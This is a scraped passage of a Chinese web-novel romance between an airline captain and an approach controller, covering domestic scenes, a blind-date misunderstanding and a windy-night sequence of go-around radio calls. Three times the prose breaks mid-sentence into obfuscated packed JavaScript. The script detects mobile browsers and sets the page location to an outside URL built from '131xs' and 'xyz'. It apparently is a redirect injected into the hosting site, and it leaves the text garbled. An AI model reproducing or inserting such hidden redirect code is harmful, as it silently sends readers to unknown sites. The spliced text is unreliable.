林序川一下回过神,刚想抬手推他,就听见耳边的人语气委屈道:“两天不见了,有点想你。” 这话是真的。 本来宋觉骁想着今天回来终于又能见到他了,说不定还能让林序川指挥上他。可惜,他进近的时候没有分在他的扇区,还差一点要备降去别的地方,今天都不一定回得来。 成功落地虞城的那一刻,思念泛滥成灾。 他给林序川发了信息,但他没回。 回家的时候,按电梯的那一刻,他甚至想都没想就按了“16”。 他想见他,想他回家的第一眼就能看到他。 直到此刻真切地抱住他,才让他有了一些他们又重逢的实感。 宋觉骁这突如其来的直白,倒是让林序川忘了反应,半抬的手僵在他身侧,下一刻又默默放了下去。 而这个拥抱持续了不过两三秒,宋觉骁就松了手,甚至往后退了半步,笑盈盈地问他,“今天回来挺早啊?” 林序川抬头看他,眼神满是疑惑。而宋觉骁双手背在身后,仿佛他刚刚那一个拥抱就真的只是为了抱一下,而他退半步的动作,也是为了践行他没有逾越之举纯当朋友的态度。 是啊,他们约定了当朋友。 可为什么离开他怀抱的那一刻,他竟然还生出了几分失落? 林序川,醒醒吧,这不就是你想要的嘛! “嗯……上了一晚上夜班,困了。” “哦,那快去睡吧。”宋觉骁拉开他挡在门口的飞行箱,回头十分顺口又随意地问了一句,“对了,你吃早饭了没?” 林序川开门的手一顿:“…………” 坏了!这下是真醒了! 今天天气不好,早上太忙了走不开,本来他是准备下了班再去食堂蹭饭的,但是出门的时候一直在想宋觉骁没消息的事,一路跟着就出了门,搁门口又吃了成吨的狗粮,一上车还被一首随机的歌整破防了。 他倒是没想到会在家门口被宋觉骁逮个正着,压根忘了他还没吃早饭的事。 主要是没觉得饿。 林序川侧头看着他,眨了眨眼,一脸真诚地问:“我……我说我忘了,你信吗?” 宋觉骁眉头一皱,亦是十分真诚地问:“你看我像傻子吗?” 林序川默默摇头,讪笑道:“……不像。” 我才像啊! 15.瓜从天上来 “林序川!我走的时候是不是让你定点按时好好吃饭?那是你的胃,不是我的!你能不能自己上点心?你——” 从知道他没吃早饭开始,宋觉骁已经骂了他五分钟了。 然后刚刚去他家冰箱逛了一圈,结果发现冰箱里空空如也,就连家里仅剩的半包挂面,也在前两天吃完了的时候,宋觉骁那火气简直蹭蹭往上冒。 可此刻自知理亏的林序川低眉顺眼一句话都不敢反驳,就乖乖坐在沙发上,怀里抱着昨天吃剩的半包吐司,嘴里嚼着边吃边挨骂,时不时还小心翼翼地瞥他一眼。 宋觉骁突然冷哼一声,“感情你一开始就打算好了?” “我没有……我是真忘了。”林序川一口面包进嘴里差点噎住,嘴上说没有,头却更低了。 见他这副样子,宋觉骁也只能叹气作罢,再骂他也无济于事,干脆他也不说话了,就坐在那盯着他吃东西。 林序川真是啃两片面包都觉得压力山大,在宋觉骁的眼神威压之下,原本还打算吃两口就结束的,硬是把剩下的三片吐司都吃完了。 有点噎…… 一早回来也没来得及烧水,本来寻思去拿罐牛奶喝,是上次回金陵的时候陈永给他带的一箱牛奶,还没开封呢。 结果刚拿起来,刚拆了吸管,刚到手的奶就被人拿走了。 宋觉骁转头从他的飞行箱里拿了个保温杯出来,给他倒了杯水,“喝热的!跟你说几遍了,少喝点冷的!” “没必要吧……这天都二三十度了。”林序川望着他被拿走的奶,嘀咕了一句。 要不要这么夸张啊哥! 然后就被宋觉骁瞪了一眼,“有必要!你要养成喝热水温水的习惯!” 林序川无奈只能接过了宋觉骁递给他的杯子,结果宋觉骁也不知道有意还是无意地解释了一句,“这杯是在飞机上倒的,我还没喝过。” “啊?”林序川抬头看他,就他俩这不伦不类的关系,床也上过了,嘴也亲过了,对方的口水也没少吃,这话到底解释的有点多余了吧? “咳……”宋觉骁率先转移了视线,拿着他收缴的牛奶进了厨房,“牛奶我去给你热一热,一会你睡觉前再喝。” 林序川捧着杯子站在厨房门口,盯着里面那个略显心虚的背影,若有所思。 宋觉骁热完牛奶出来,又盯着他喝完,留下一句“中午我来喊你吃饭”,然后他就带着他的飞行箱走了? 这就……走了? 林序川愣在原地,手里还拿着那带着余热的空杯子。 他原先以为宋觉骁又会跟上次一样找借口赖在他家,爬床非要跟他挨在一起补个觉呢。结果,他就这么走了? 好像就真的是来看看他,打个招呼,盯着他吃顿饭,任务结束就离开了。 林序川转身进屋,突然又想起了跟宋觉骁的那个“朋友约定”——啧,谁家好朋友会一起睡那种觉啊。 现在这样不才是“朋友”的正确打开方式嘛? 可莫名的,他竟然有点失望。 …… “序川?林序川!” “啊?”林序川回过神,身边江宁盯着他皱眉,“吃个饭发什么愣呢?你再戳一会餐盘都戳出洞了。” 林序川低头,果然发现自己筷子杵在饭中间,已然在饭中间抠了个洞出来,饭是一口没动。 今天的菜色还不错,有他之前夸赞过好吃的糖醋小排,还有他爱吃的西红柿炒蛋。 可他现在看着,一点胃口都没有。 江宁问他:“想什么呢?” “没什么,”林序川叹了口气,“昨天没睡好。” “那你吃完回去再睡会,反正下午也没什么事了。”江宁见他一脸疲惫的模样,倒也没多想。他已经吃完了,端着餐盘起身,“我得先走了,今天少爷回来,我去接他。” “哦……好。” 等送走了江宁,林序川盯着餐盘里的饭菜又叹了口气。 那天之后至今也有一周了,这几天宋觉骁除了休息,确实如他所说,飞的都是短程来回的国内线。一到他轮休的日子,只要宋觉骁在家,势必一大早就会到他家报道。 就算他不在家,也会时刻盯着林序川的三餐饮食问题,提前帮他准备好能吃的放在冰箱里。 这几天林序川家里那个冰箱,不管是上面保鲜层还是下面的冷冻层,就没空过。 虽然有人伺候吃饭,不用他每天翻着外卖考虑今天要吃什么的日子是不错,可他这嘴也被宋觉骁养刁了。就好像又回到了十二年前他给他养胃的那段时间,习惯一旦养成是很难戒掉的,后来的戒断反应可谓记忆犹新。 由奢入俭难啊! 他正唉声叹气地扒饭呢,卢希然跟于诗涵两姐妹来了。 “师父!” “川哥。” 林序川抬头看到是他们,就点了点头打了个招呼,看到于诗涵说了一句,“你师父刚走。” 卢希然拉着于诗涵坐下,小于应了一声,“刚刚我们进来的时候看到他了,他说去接师娘。” 林序川点头,又问:“你们怎么来这么晚?” 今天他们是轮休,单位通知今天不上班的开安全会,按理都是统一结束了来吃饭的。 “快别提了!刚跟我姑姑掰扯完,我都快饿死了。”卢希然说着,狠狠咬了口盘里的大鸡腿。 “啊?”林序川转头看向正慢条斯理吃饭的于诗涵,“你就陪着她啊?” “我还好,早上吃的挺多,这会也不是很饿。” 都说什么样的师父带什么样的徒弟,小于真是跟江宁一个样,吃个饭都斯斯文文的。 再反观那狼吞虎咽吃饭的卢希然,林序川默默扶额——这话也不尽然,他吃饭可不像饿死鬼投胎。 反正闲着也是闲着,林序川边吃边打听,卢希然一脸忿忿道:“我才21,她已经张罗着要给我相亲了,我这大好的青春年华就要被另一个人牵绊住了,这不离谱吗?” “你不是总羡慕人家有对象嘛?” “羡慕归羡慕,我一个人自由自在的有什么不好,况且我才21!我才刚毕业!我这花一样的年纪,现在正是我为我的祖国,为我国的民航事业,为我将来的饭碗能不能保住而奋斗的时候,我哪有空谈恋爱。”卢希然一脸正义的模样,林序川差点都要信了她这番热血言论。 果不其然,下一刻就听见她说:“生活已经这么苦了,平常磕个CP也不过就是这万恶生活的一点调剂。我现在每天除了上班就是听900句,连游戏都只玩迷你空管,睡觉梦里都是指挥飞机!我的时间已经这么紧了,还要分给另一个人来占用我仅剩的自由,那我也太亏了!” 林序川听得目瞪口呆:“……” 不愧是他徒弟! 卢希然说完似乎是觉得不够,又用胳膊肘撞了一下身边的于诗涵,“涵姐!你说!是不是这个道理?” 于诗涵马上到嘴的肉被她一撞,没夹稳,“吧嗒”一声又掉回了餐盘里。只见她愣了一秒便面不改色慢条斯理地重新夹起来,嘴上没什么感情地附和,“嗯,对。” 卢希然也没在意她的敷衍,回头看林序川的时候就是一副“你看吧,大家都这么觉得”的理所当然表情。 林序川默默扶额:“……” 还得是你啊! 林序川收了笑故意逗她,“万一是什么有钱有权又有颜的大帅哥,那你也不亏啊。有个帅哥放在家里,光看两眼那不也心情舒畅?” “话不能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442449|184594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么说。”卢希然放下到嘴的鸡腿,抬头一脸认真道:“一朵花,跟一院子花,那还是有区别的。” 林序川一噎:“……” 不愧是你啊! 卢希然吃了两口又有些遗憾道:“不过她给我看了她偷拍的照片,那人是真帅啊!” 林序川见她那一脸花痴的模样,就好奇问:“谁啊?你姑姑同事?” “我跟你讲!”卢希然凑上前,一脸八卦道:“就是最近很火的那个宋机长!五一那天你指挥的那个起落架故障的,就是他。” “谁?”林序川一听,差点以为是自己听错了,“宋觉骁?” 这是吃瓜吃到自己头上了啊! “对对对!你认识吗?” “我……”林序川脸上的笑都僵住了,“算认识吧。” 毕竟人家那“英雄机长”的名头在外,卢希然想着她师父这么八卦的人,肯定听说过,所以也没多想,又坐了回去一脸遗憾道:“她都跟我夸出花来了,说是前些时候跟人家飞了趟国际线,说人家不仅长得帅脾气好,飞行技术也特别好啊啥的。不过我不太想找咱一个圈子里的,而且……人家比我大好多岁呢,感觉会有代沟。” “唉,帅哥,果然还是只适合放着看!” 林序川:“……” 那确实,都快差一轮了! “嗡嗡”两声,他放在手边桌子上的手机震动,林序川回过神低头看到来电显示“宋狗”两个字,想都没想就按了挂断。 卢希然见他神色古怪,疑惑地问:“怎么了?谁的电话,咋不接啊?” 她师父平常可是连推销电话都会接了听一句再挂的人,还头一回见他铃响了一声就把电话挂了的。 林序川莫名其妙有一阵心虚,“没谁。” 总不能说是你姑姑给你找的相亲对象吧? 他站起身,动作迅速地把手机塞进兜里,端起餐盘,“我吃完了,你俩慢慢吃吧,我先走了。” “啊?哦……”卢希然咬着筷子,半侧着身子看着步履匆匆离开的林序川,回头问于诗涵,“涵姐,你觉不觉得我师父怪怪的?” 于诗涵回头看了一眼,赞同地点头,“有点。” “是吧!”卢希然皱着眉,满脸不解,“他最后看我那个眼神,怎么有点心虚呢?我不就问了他一句谁的电话嘛?” 这头林序川刚出食堂,宋觉骁的电话就又来了,这下他可没敢挂,不然一会回家这人估计又要逮着他骂了。 “喂……” 电话那头的语气有些生硬,“你挂我电话?” 林序川:“咳……我按错了。” 宋觉骁沉默了一会,也不知是对他的话信了还是没信,林序川倒是先心虚上了,主动问了一句,“那个……你吃饭了吗?找我有事?” 电话那头的宋觉骁像是轻哼了一声,语气倒是没有刚刚那么生硬了,“刚吃完,我一会两点的飞机起飞回来。你吃了吗?” “嗯,我也刚吃完。你——”林序川举着手机一路往停车场走,想起刚刚卢希然说起相亲的事,想问问他知不知道,但又觉得他好像没什么立场过问这个。虽然心里不太舒坦,但还是没问出口,“算了,没事。” 虽然不知道他要说什么,但听他这欲言又止的语气,指定是又有什么事了。 宋觉骁的声音带着些许严肃,喊了他一声,“林序川。” “嗯?”林序川下意识应了,等着他的后续。 下一刻,他就听见耳边手机听筒里传来那人一声轻笑,带着两分懒散的语调吩咐他,“回去把冰箱里的牛腩拿出来解冻,放水里泡着,晚上等我回去给你做土豆牛腩吃。” 林序川一愣,步子都停了,低着头笑了一声,“好。” 16.唯一喜欢的 【笑死我了,矮脚机和它的大长腿机长?】 【这不是皇家航空的宋机长嘛?】 【你别说,这照片拍的还挺帅的。】 【是不是红薯上?我也刷到了!】 【对对对!好像是什么站姐拍明星,顺道给他拍了。】 【站姐出品必属精品啊!】 【下次你们皇家航空的要不直接拿这个当宣传图算了,这不现成的门面担当?】 【卧槽,我妹看到照片就问我人有没有对象,连她的哥哥们都不追了。】 【好事儿啊!快问问去,拐回家给你当妹夫!】 …… 宋觉骁是快六点的时候才回来的,本来说五点左右就能落地,结果起飞的时候因为流控延误了半个多小时。一落地甚至都没回家,拎着飞行箱衣服都没换就直奔16楼。 这会在厨房做饭,也不让他进去帮忙,林序川就只能抱着手机在客厅百无聊赖地刷。 虞城机场有两大八卦群,林序川来入职的第一天程瑜就把他拉进去了。 一个群叫“CFGO”,全称是“Chinese folk gossipanization”,中国民间八卦组织,曾用名叫“中民八组”。 群里遍地都是民航圈的八卦,范围涉及大概是大半个华东区。 但这个群有个规定——话题度高的人不让进群。 比如虞城机场管制中心最出名的江宁江主任,再比如被众人称为“东航王少爷”的王珩宇,都是在群公告上被排除在外的人。 理由是——当着本人面不好开腔。 而林序川本来是进去了的,但是在他上了一周班,以“江宁师弟”的名头出名以后,他就水灵灵地被人踢出了群。 现在刷的这个群叫“虞城机场物流集散中心”,也是个关于虞城机场的群,相比起上一个,群里涉及范围比较小,进群也没什么限制。群里大部分都是一些常飞虞城机场的飞行员、乘务等,还有虞城机场本场的管制、机务和机场工作人员。 这会大家在聊的是一张网传的照片,拍的就是宋觉骁在绕机的场景,看样子应该是早上的时候拍的。 其实照片本身是没什么问题的,但传得这么火热的主要原因,还是因为宋觉骁那张脸。 站姐镜头下的宋觉骁穿着反光小马甲,那傲人的大长腿,宽肩窄腰,站在机翼下微仰着头。清早的晨光洒在他身上,让那本身棱角分明的侧脸在日光下多了两分柔和。 该说不说,站姐是会拍的。 设备也好,够高清。 而帖子上说的“矮脚机”就是他今天飞的波音737客机,相较一些常见的民航客机机型,737的底盘比较低矮,起落架也短一截,所以有客机中的“柯基”之称。 矮脚机和它的大长腿机长。 啧,网友是会起名的! 林序川跟做贼似地回头看了眼厨房的方向,眼见厨房门还关着,他才回头偷偷点了保存。完事又打开相册看了一眼——啧,这狗男人这么多年怎么感觉越长越帅了? 重新打开微信群的时候,群里已经从问宋觉骁有没有对象,发展到了要找关系给他介绍对象了。 林序川猛地回头又再次看向厨房的方向,不由就想起了中午那会卢希然说的她姑姑给介绍相亲的事。 也不知道怎么想的,想到他就站了起来去了厨房。 宋觉骁在忙,听见动静回头看了他一眼,眉眼带着随意的微笑问:“怎么进来了?饿了?” “没有,”林序川倚在厨房门口,翻出手机群聊里那张照片给他看,“我刚刚在刷群,看到有人发的照片。” “什么照片?”宋觉骁凑上前看了一眼,“这应该是今天早上的时候吧……怎么给我发网上了,谁拍的?” “网上说是什么站姐,顺道拍的。” “拍得还挺帅,发我一个。” “……”林序川白了他一眼,嘀咕了一句“自恋”,但手上还是听话地点了转发。 见他说完了还没走,宋觉骁盖上锅盖等着的时候正好回身走了过去,一手撑在厨房移门上,视线落在他明显有话要说的脸上,“怎么了,还有事?” 他来就是想问那相亲的事,又不知道怎么开口,也没敢抬头看宋觉骁,只能低头假装翻群聊,一边道:“照片拍得太帅,群里已经在计划找人介绍了给你相亲了。” “相亲?我看看。”宋觉骁直接伸手抢了他的手机,林序川这才抬头,就见他一脸的无奈表情,“这都什么乱七八糟的……” 乱七八糟吗? 是挺乱七八糟的。 林序川就这么看着他,看着那张他沉迷了许久的脸,莫名其妙地问了一句,“这些年,你都是一个人吗?” 他声音不大,厨房里还有油烟机的轰鸣声,灶台燃气火焰的扑朔声。 可他们站得很近,近到只要进一步就能挨着彼此的程度。 闻言,宋觉骁倏地低头,不明所以地看他,“什么意思?” 对上他的眼神,林序川下意识回避,抬手拿走了他手里自己的手机,欲盖弥彰地解释:“就是……你也这个年纪了,叔叔阿姨没催你找对象?或者什么同事朋友的,给你介绍介绍。” 宋觉骁皱着眉盯着他,林序川低着头看不到他脸上的表情,却能从他的语气里听到几分严肃和不悦,“你不知道?” “哈,这、这话说的,我哪知道你啊。”林序川刷手机的手一顿,但不过两三秒就恢复了正常,“我就是……随便问问。你忙吧,我先出去了。” 说完,他连头也没抬,扭头就跑了出去,一边用手当扇子装模作样地扇着,一边嘴里挺像模像样地嘀咕,“厨房还挺热的……哈哈,真热啊,真热。” 宋觉骁盯着他那明显慌乱逃离的背影,若有所思。 有事!这兔崽子肯定又有事瞒着他! 什么随便问问,这明显就是特地问的! 林序川回到客厅,才反应过来自己问了什么,懊恼地直抓头发。 问什么不好,问这话,简直精准踩雷! 就因为一个相亲的事,甚至明知道卢希然已经拒绝了,他俩压根也没相上,可他还是忍不住会想,曾经他不在的十二年,他是怎么过的? 也会有亲戚朋友给他相亲介绍对象吗?他爸妈是不是也会催他?或者,他爸妈知不知道他的性取向,知不知道他们当年的事? 甚至,他当年会不会想着忘记他,而找过别人? 想归想,就算宋觉骁真的有,其实他也没立场置喙什么。 可就只是想到这样的可能,他那心里就有说不上来的酸涩醋意。 啊啊啊!林序川!你能不能争点气啊! 就在他一个人在客厅抓耳挠腮捶胸顿足的时候,宋觉骁出来喊他进去帮忙端菜。 虽然很心虚,但他不能让自己看上去很心虚,也只能硬着头皮去了。 但宋觉骁好像并不急着端菜,反而站定在厨房门口,宽大的身躯挡在正中间,双手插兜就这么看着林序川,眼神带着浅浅的笑意和温柔的深情,语气也没了方才的严肃,“刚才,为什么突然问我那个问题?” 以前林序川就很喜欢他那双眼睛,特别是他眼角的那颗泪痣,那会林序川总说他那个眼神,看狗都深情。宋觉骁就会反问他“你是狗吗?”,然后他俩就会因为这个又闹起来,反正林序川最后都打不过他,只能无能狂怒地骂他一句“你才是狗!” 宋觉骁那个“宋狗”的名号,就是这么来的。 此时此刻,林序川被堵在厨房门口,对上他的眼神,加上原本的心虚,一下更紧张了。 宋觉骁往前一步靠近他,一股清新自然的茶香味迎面而来,干净温柔却也蛊惑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16451498|184594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人心——好像是他以前就很喜欢用的一款香水味。 林序川下意识地往后退,“哐当”一下撞在身后的椅子上,宋觉骁站在他身前,长臂一伸稳住椅子,以一个半圈的姿势把他困在了怀里。他没有得寸进尺地更进一步,却也带着强烈的压迫感低头,语调随意地问:“良心发现想问问我的过去?” 林序川半靠在身后的椅背上,双手抓着椅背两边,身子后仰同他保持着距离,声细如蚊道:“我……真就随便问问。” 让你嘴欠!问出事儿了吧! “随便问问?”显然,宋觉骁没打算认下他这个“随便问问”的理由,手臂一弯,人也往前了一步,几乎整个人用身体把他压在了椅背上。 身前的茶香味丝丝缕缕不由分说地钻进鼻腔,本该清新自然的香气,却在此刻让林序川思绪混沌,只听见身前的人语气颇有些委屈似的控诉般道:“那你还真是挺无情,一点也不关心我。” 林序川哑口无言:“……” 他倒是想关心,可他不能说啊! 宋觉骁收回手,双手插兜就站在那,也不后退也不往前,状似随意道:“你要说介绍……今天倒是有同事提过一嘴,说要给我介绍对象来着。” 闻言,林序川倏地抬头看他。 看着他略带急切的眼神,宋觉骁一挑眉,不疾不徐道:“就是你徒弟的姑姑,说要介绍她侄女给我认识。” 林序川眉头一皱,没说话,抓着椅背的手却攥紧了。 宋觉骁笑道:“你徒弟叫卢希然是吧?她姑姑给我看了照片,小姑娘长得还挺标志的。就是听说人家拒绝了,但她姑姑不死心,还说要回去再做做思想工作。” 林序川一脸不可置信地看着他,“?” 什么意思?还有后续呢? “月姐太热情了。”宋觉骁表情有些无奈,他说话的时候一直在观察林序川的表情,见他皱眉,就干脆又凑近了问,言语间满是笑意,“怎么,我去相亲,你吃醋啊?” “我——”林序川顿时噎住,梗着脖子道:“我吃什么醋!我只是觉得你跟小卢不合适!她才21,你俩都快差一轮了!” 宋觉骁:“年龄不是问题。” 林序川:“她、她才155,你们差了30公分,站在一起不好看。” 宋觉骁:“身高也不是距离。” “可你性取向不是——”林序川话没说完,宋觉骁就接了一句,“是啊!” “是——”林序川一愣,看着他眨了眨眼,还没反应过来,“啊?” 宋觉骁直起身,微微一笑,颇有些遗憾道:“别的都不是问题,偏偏就性别有点关系。也不能耽误人家小姑娘,我只能偷偷拒绝了,说我年纪大了跟人家不合适,说我喜欢男的,说我配不上她咯。” “…………”见他那一脸笑意,林序川可算是反应过来自己被耍了,当即咬牙。 宋觉骁在他暴跳如雷之前,装模作样地叹气转身进厨房,嘴里还念叨着,“唉,可惜啊。” 林序川:“!!!” 玛德,说做朋友的是他,见不得他相亲找对象的也是他! 林序川,你可争点气吧! - 今天下午在北京起飞前,宋觉骁刚好在航前准备室碰到了卢明月。 卢明月看见他就笑盈盈地跑了上来,寒暄了两句之后就开始问他是不是单身有没有对象,宋觉骁压根来不及反驳什么,卢明月已经把卢希然的照片拿出来给他看了。 惊讶之余,在场的人又很多,大家都在起哄。而人家一团热情,他也不好当场驳人面子,只得后来落地以后私下里给卢明月发了两条信息。 【月姐,小侄女很漂亮。谢谢你的好意,但很抱歉。】 【我有喜欢的人了,是喜欢了很多年的人。】 也是他迄今为止的人生里,唯一喜欢过的人。 17.诸事不顺呐 “上航9547,虞城进近雷达看到了,保持一边上900米。” “东方5152,当前位置连续左转盘旋等待。” “国航1177,保持当前航向高度,有穿越。” …… 自从五月初立夏以后,这半个月以来,虞城的天气可谓阴晴不定,变幻莫测。前几天是下大雨,这天还没晴两天呢,这两天又开始刮大风了。 今天白天风还小一些,谁料到了晚上,那风像是也赶着晚高峰来的,导致整个管制中心忙得不可开交。 因为大风导致航班大面积延误,本来就是晚高峰时段,起飞的勉强还能起,但也有因为起飞时候侧风严重中断起飞的。 而至于想要落地的,从六点多开始,一小时之内,虞城机场愣是一架飞机都没落下来,全是因为大风半道复飞的。 进近管制室里,连本来因为怀孕可以早下班的程瑜都在加班,江宁更是亲自来盯席。这种情况之下,林序川也没敢让卢希然坐席,今天他是亲自上的,卢希然在后面看着。 “进近你好,国航3213,保持一边,风切变改出。” 几乎林序川话音刚落,宋觉骁的声音就透过无线电传进了他耳朵里,林序川皱眉看了眼雷达屏幕,找到上面属于宋觉骁的那架小飞机——大概十几分钟前,他刚把这人转去塔台频率。 所以现在这是,复飞了呀! 林序川无声浅笑,徐徐道:“国航3213,虞城进近雷达看到了,左转250,上15,有相对。” 这天不好,复飞的也不是一架两架,宋觉骁本来也没觉得什么,但他听出来林序川那个幸灾乐祸的语气了,毕竟他俩熟得很。 宋觉骁轻笑了一声,带着两分宠溺地复诵道:“左转250,上15,有相对,国航3213。” 而同在驾驶舱里的钱屿,微微皱眉,有些疑惑地偷偷瞥了一眼身旁的宋觉骁。 怎么感觉骁哥这句复诵的话,味儿不太对呢? 是他的错觉嘛? 等他复诵完,林序川又补充问了一句,“国航3213,有后续意图吗?” “我还在联系,国航3213,稍等一下。” “国航3213,有后续意图报。”听他这么说,林序川也没继续再问。 “收到,国航3213。” 这会的频道里几乎没有一刻是空闲的,宋觉骁话音刚落,下一个立马接上,“进近,上航9547,我可以继续左转吗?” 上航9547,是宋觉骁前面一架复飞的飞机。 “上航9547,左转南面有冲突。” 这会天上到处都是飞机,还有各种天气,能留空余的空域委实不多。 “啊,我可以接受等待,上航9547。” “上航9547,那你先飞270吧,有后续意图报。” “收到,航向270,上航9547。” 林序川这边指挥完上航的,刚要开口,耳机里传来一阵刺耳的杂音——有人跟他抢麦了。 只能等杂音结束,林序川才重新开口,“哪位?干扰了,重复一下。” “东方5152,我想问一下我还要等多久。” 林序川看了一眼东方5152的航班信息,前一条指令是连续左转盘旋,于是道:“东方5152,预计十分钟左右。” “好的,谢谢,东方5152。” “进近,国航1177,我能右转吗?右转有没有冲突?” 眼下这种情况,跟话赶话差不多,请求询问一个接一个的来,林序川平静道:“国航1177,右转没有冲突。” “那我能不能申请飞个130?我这边看前面有颠簸区,国航1177。” 这国航的机长讲话还挺有礼貌,雷达显示没影响,林序川自然也乐得满足他要求,“国航1177,130可以。” “好的,右转130,国航1177。” 而等他指挥完几架飞机之后,林序川看着之前那架上航的飞出去挺远了,但一直没报后续意图,就干脆问了一句,“上航9547,证实一下你的后续意图。” “哦,我们准备再试一次,上航9547。” “上航9547,是证实重新进近是吧?” “诶,是的,上航9547,麻烦你雷达引导我进近吧。” “收到,上航9547,航向先飞090,右转,雷达引导准备进近。” “好的,右转航向090,上航9547。” 上航的复诵完,宋觉骁的声音也来了,“我们准备再次进近了,国航3213。” 闻言,林序川一挑眉,眼瞅着他跟前一架的航向差不多,就干脆直接道:“国航3213,航向270,跟着你前面那个低高度的飞机。” “收到,航向270跟前机,国航3213。” …… 大约过了半个多小时,第二次试降的上航9547再次复飞进入林序川的扇区,两次降落失败后上航9547的意图是去别的机场备降,不准备尝试第三次降落了。 原先宋觉骁就跟在这架9547的后面,这会9547再次复飞,那宋觉骁…… 没过十分钟,林序川就第三次在他的扇区里听到了宋觉骁那甚是无奈的声音,“进近你好,国航3213,复飞了。” 林序川:“…………” 哈,果然! 宋觉骁说是落地的时候有一阵强风,飞机被吹了起来差点偏出跑道,无奈之下只能复飞。 “国航3213,高度我可能要突破一下,风向风速变化太大了。” 本来林序川给的指令是上1200米,这会他提要求,林序川看了一下眼前的雷达屏幕无影响,就给他换了个高度层,“国航3213,那你先上15,虞城修正海压1007。” “高度上15,1007,国航3213。” “国航3213,后续有什么意图吗?” “我先申请个航向200先转出去吧,后续可能要去备降,我再询问一下家里,稍等一下,国航3213。” 宋觉骁的声音满是不情愿。 昨天林序川轮休他就一天没在家,晚上回家的时候也已经很晚了,今天又是早班一早就出了门,满打满算,他已经两天没见到林序川了。 结果下午起飞回程的时候因为天气原因延误了,起飞之后一路上也不怎么太平,进了虞城范围之后更是寸步难行,现在都第二次复飞了。 这会他如果去备降,今晚都不一定能不能回得来。 高空之上的驾驶舱里,宋觉骁那脸沉的简直跟驾驶舱外的乌云有的一拼,满脸写着“不开心、不乐意、不情愿”。 正当他还在跟家里调度交涉的时候,林序川的声音透过无线电传来,委婉的语气带着试探的安慰,“国航3213,塔台消息有飞机试降成功了,你要再试一次吗?” 边上副驾驶的钱屿眼睁睁看着前一秒还语气不悦的宋大机长,下一秒就眉开眼笑,“稍等一下,国航3213,我还在跟家里交涉!” 钱屿看得目瞪口呆:“……” 虽然他也不愿意去备降,虽然他也想今天能回家。 但您这变脸的速度是不是有点夸张了? 连最后一句话的语气都变坚定了! 钱屿本来以为今天怕是凶多吉少,毕竟这都第三次了。从他们进近开始这一个多小时,光就听见频道里有飞机复飞的,就没听见有能落下去的,他都做好了要去备降的准备了,结果最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16456888|184594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后调度还是同意了宋觉骁第三次试降的“提议”。 于是,林序川开始指挥他们第三次复飞进近,“国航3213,先飞航向270。” 原本还因为不用备降而有两分喜悦的钱屿一听这个航向,随即就是一声沉沉的叹息。 今天落个地可真是一波三折啊! 宋觉骁“啧”了一声,盯着机载雷达上那大片的颠簸区,无奈拒绝,“270飞不了,我这雷达照出来有一大片颠簸区……国航3213。” 管制室里的林序川听到拒绝还愣了一下,他的雷达上显示270航向没有天气影响,而且前面也有飞机刚飞过去。 但管制雷达有时候确实没有机载雷达显示的那么清晰,而且毕竟跟前机有时间间隔,就眼下这瞬息万变的天气,变化也是有可能的。 林序川倒也没多纠结他为什么飞不了,干脆直接问了一句,“那你能飞什么航向?” “申请航向210,国航3213。” “国航3213,210有冲突,”很可惜,这下换成林序川拒绝了,“你先保持当前航向吧。” “额……国航3213,当前航向的话我最多飞五六海里。” 再往前飞就有天气影响了。 “国航3213,那你飞5海里之后右转可以吗?” “不行……申请航向210或者200。”宋觉骁十分遗憾地开口,虽然还是继续坚持原先的请求,但还是稍微退了一步,“低高度或者高高度都可以,国航3213。” “国航3213——”林序川皱眉盯着面前的雷达屏幕,脑子里飞速运转解决办法,“240可以吗?210有交叉,飞不了。” “不行诶,240我就进去了!” “……”这也不行那也不行的!林序川提了口气,再三斟酌之后只能折中,“那你飞220吧,220可以吗?” “220……”无线电那头是声音犹豫了一秒,就在林序川以为他又要说不行的时候,宋觉骁颇为不情愿地接了后半句,“行叭,国航3213。” 林序川咬牙:“……” 能飞就不错了,还挑三拣四! 吐槽归吐槽,腹诽完,林序川还是叮嘱了一句,“国航3213,航向220,注意保持高度15,前面有个1800的相对。” “收到!220保持15,国航3213。” …… 而因为今晚的大风,林序川本来八点下班的,被迫加了一个小时班。 下班的时候才看到宋觉骁一个小时前给他发的信息,问他什么时候下班。林序川正好出了管制中心大门往停车场走,迎面就是一阵大风,那随心所欲的阵雨说下就下。 林序川没顾上回信息,只能先往车里跑。 宋觉骁倒像是掐着点似的,他刚上车,信息就又来了,【还没下班吗?】 本来应该是八点下班的,现在已经九点多了,一个小时没给他回信,这人多半是等着急了。林序川体谅他的“PTSD”,就拍了张照发给他,【在回了。】 宋觉骁:【下雨了,慢点开,注意安全。】 